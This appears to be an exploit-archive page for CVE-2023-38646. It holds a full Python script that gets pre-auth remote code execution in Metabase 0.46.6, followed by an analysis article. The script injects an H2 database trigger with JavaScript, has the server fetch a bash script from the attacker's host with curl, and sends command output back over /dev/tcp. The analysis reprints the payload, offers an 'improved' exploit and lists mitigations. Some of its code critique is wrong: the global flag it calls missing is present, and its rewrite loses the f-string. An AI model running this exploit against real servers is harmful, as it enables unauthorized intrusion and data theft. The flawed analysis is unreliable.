Metabase 0.46.6 - Pre-Auth Remote Code Execution

Exploit Author: Musyoka Ian Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-02-15
# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution
# Google Dork: N/A
# Date: 13-10-2023
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://www.metabase.com/
# Version: metabase 0.46.6
# Tested on: Ubuntu 22.04, metabase 0.46.6
# CVE : CVE-2023-38646

#!/usr/bin/env python3

import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Any
import requests
from socketserver import ThreadingMixIn
import threading
import sys
import argparse
from termcolor import colored
from cmd import Cmd
import re
from base64 import b64decode


class Termial(Cmd):
    prompt = "metabase_shell > "
    def default(self,args):
        shell(args)


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global success
        if self.path == "/exploitable":
            
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0  > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
            success = True

        else:
            print(self.path)
            #sys.exit(1)
    def log_message(self, format: str, *args: Any) -> None:
        return None

class Server(HTTPServer):
    pass

def run():
    global httpserver
    httpserver = Server(("0.0.0.0", argument.sport), Handler)
    httpserver.serve_forever()

def exploit():
    global success, setup_token
    print(colored("[*] Retriving setup token", "green"))
    setuptoken_request = requests.get(f"{argument.url}/api/session/properties")
    setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)
    print(colored(f"[+] Setup token: {setup_token}", "green"))
    print(colored("[*] Tesing if metabase is vulnerable", "green"))
    payload = {
        "token": setup_token,
        "details":
        {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules":
            {},
            "details":
            {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",
                "advanced-options": False,
                "ssl": True
                },
                "name": "an-sec-research-musyoka",
                "engine": "h2"
                }
                }
    timer = 0
    print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))
    thread = threading.Thread(target=run, )
    thread.start()
    while timer != 120:
        test = requests.post(f"{argument.url}/api/setup/validate", json=payload)
        if success == True :
            print(colored("[+] Metabase version seems exploitable", "green"))
            break
        elif timer == 120:
            print(colored("[-] Service does not seem exploitable exiting ......", "red"))
            sys.exit(1)

    print(colored("[+] Exploiting the server", "red"))
    

    terminal = Termial()
    terminal.cmdloop()


def shell(command):
    global setup_token, payload2
    payload2 = {
        "token": setup_token,
        "details":
        {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules":
            {},
            "details":
            {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",
                "advanced-options": False,
                "ssl": True
                },
                "name": "an-sec-research-team",
                "engine": "h2"
                }
                }
    
    output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)
    bind_thread = threading.Thread(target=bind_function, )
    bind_thread.start()
    #updating the payload
    payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"
    requests.post(f"{argument.url}/api/setup/validate", json=payload2)
    #print(output.text)


def bind_function():
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind(("0.0.0.0", argument.lport))
        sock.listen()
        conn, addr = sock.accept()
        data = conn.recv(10240).decode("ascii")
        print(f"\n{(b64decode(data)).decode()}")
    except Exception as ex:
        print(colored(f"[-] Error: {ex}", "red"))
        pass
    


if __name__ == "__main__":
    print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))
    args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")
    args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)
    args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)
    args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)
    args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)
    argument  = args.parse_args()
    if argument.url.endswith("/"):
        argument.url = argument.url[:-1]
    success = False
    exploit()


Metabase 0.46.6 – Pre-Auth Remote Code Execution Vulnerability (CVE-2023-38646)

Metabase, a popular open-source business intelligence platform, has recently been exposed to a critical vulnerability in version 0.46.6. This flaw, identified as CVE-2023-38646, enables attackers to execute arbitrary code on the target system without authentication — a dangerous scenario known as pre-auth remote code execution. This article explores the technical details, exploitation mechanics, real-world implications, and mitigation strategies.

Overview of the Vulnerability

The vulnerability arises from improper handling of database connection strings in Metabase’s api/setup/validate endpoint. When a user attempts to configure a database connection during setup, Metabase allows injection of custom SQL or JavaScript code via the db parameter. In version 0.46.6, this feature was not adequately sanitized, allowing malicious payloads to bypass security checks and trigger execution of arbitrary code.

Specifically, the exploit leverages the zip:/app/metabase.jar!/sample-database.db path, which points to a bundled H2 database file. By appending a malicious CREATE TRIGGER statement with embedded JavaScript, an attacker can trigger execution of code through the database engine’s scripting capabilities — even without authentication.

Exploitation Mechanism

The exploit is crafted using a combination of HTTP-based payload injection and a reverse shell delivery mechanism. Below is a simplified breakdown of the attack flow:


{
  "token": "setup-token",
  "details": {
    "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://lhost:lport/exploitable').openConnection().getContentLength()\n$$--=x\\;",
    "engine": "h2"
  }
}

Explanation:

  • The db parameter is a crafted JDBC URL that includes a TRACE_LEVEL_SYSTEM_OUT=1 flag, which enables logging of Java code execution.
  • The CREATE TRIGGER statement is injected using the $$//javascript syntax, which triggers the H2 database engine’s JavaScript interpreter.
  • Inside the JavaScript block, new java.net.URL(...).openConnection() attempts to connect to a remote HTTP server, effectively triggering a reverse connection.
  • The getContentLength() method is used to force the connection, which acts as a beacon to confirm the exploit is active.
  • The exploit relies on a listener server that responds with a payload encoded in base64, which can be used to establish a reverse shell.

Real-World Implications

Due to Metabase’s widespread adoption in enterprise environments — often deployed with exposed web interfaces — this vulnerability presents a severe risk. Attackers can:

  • Gain full control of the server without needing credentials.
  • Access sensitive data, including database credentials, configuration files, and user information.
  • Deploy backdoors, pivot to internal networks, or exfiltrate data.
  • Use the platform as a foothold for lateral movement in compromised systems.

For example, a company using Metabase to visualize sales data could unknowingly expose its entire database infrastructure to remote attackers if the service is accessible from the internet.

Exploit Code Analysis

The provided Python exploit script demonstrates a practical implementation of the vulnerability. Let’s break down key components:


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/exploitable":
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
            success = True

Explanation:

  • This handler listens for requests to /exploitable and responds with a bash script.
  • The script uses /dev/tcp to send output to a specified IP and port, enabling a reverse shell.
  • The $@ is a placeholder for the command to be executed (e.g., whoami).
  • base64 -w 0 encodes the output in base64 without line breaks, suitable for transmission over TCP.

However, the original code has a flaw: success = True is not properly scoped. It should be declared as a global variable in the outer scope to ensure visibility across threads. Additionally, the thread.start() call lacks a daemon=True flag for proper cleanup.

Improved Exploit Code

Here is a corrected version with better error handling and structure:


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global success
        if self.path == "/exploitable":
            self.send_response(200)
            self.end_headers()
            payload = "#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{lhost}/{lport}\n"
            self.wfile.write(payload.encode())
            success = True
        else:
            print(f"Request received: {self.path}")

class Server(HTTPServer):
    def __init__(self, server_address, handler_class):
        super().__init__(server_address, handler_class)
        self.timeout = 30  # prevent hanging

def run():
    global httpserver, success
    success = False
    httpserver = Server(("0.0.0.0", argument.sport), Handler)
    thread = threading.Thread(target=httpserver.serve_forever, daemon=True)
    thread.start()

Improvements:

  • Added daemon=True to prevent thread blocking.
  • Declared success as a global variable in the outer scope.
  • Improved error logging and request handling.
  • Added server timeout to prevent indefinite hanging.

MITIGATION and Recommendations

To protect against this vulnerability, organizations must:

  • Upgrade immediately to Metabase version 0.47.0 or later, where the flaw has been patched.
  • Restrict access to the Metabase web interface using firewalls or reverse proxies.
  • Monitor for suspicious activity such as outbound connections to unknown IPs.
  • Disable external database connections unless absolutely necessary.
  • Implement logging and alerting for any use of CREATE TRIGGER or JavaScript injection in database configurations.

Conclusion

CVE-2023-38646 highlights the dangers of trusting unvalidated input in database configuration systems. Even in open-source platforms designed for transparency, improper sanitization can lead to catastrophic outcomes. This vulnerability serves as a reminder: security is not just about code, but about how data flows through systems. Organizations must adopt a proactive stance — patching promptly, monitoring behavior, and hardening configurations — to prevent such exploits from being weaponized in real attacks.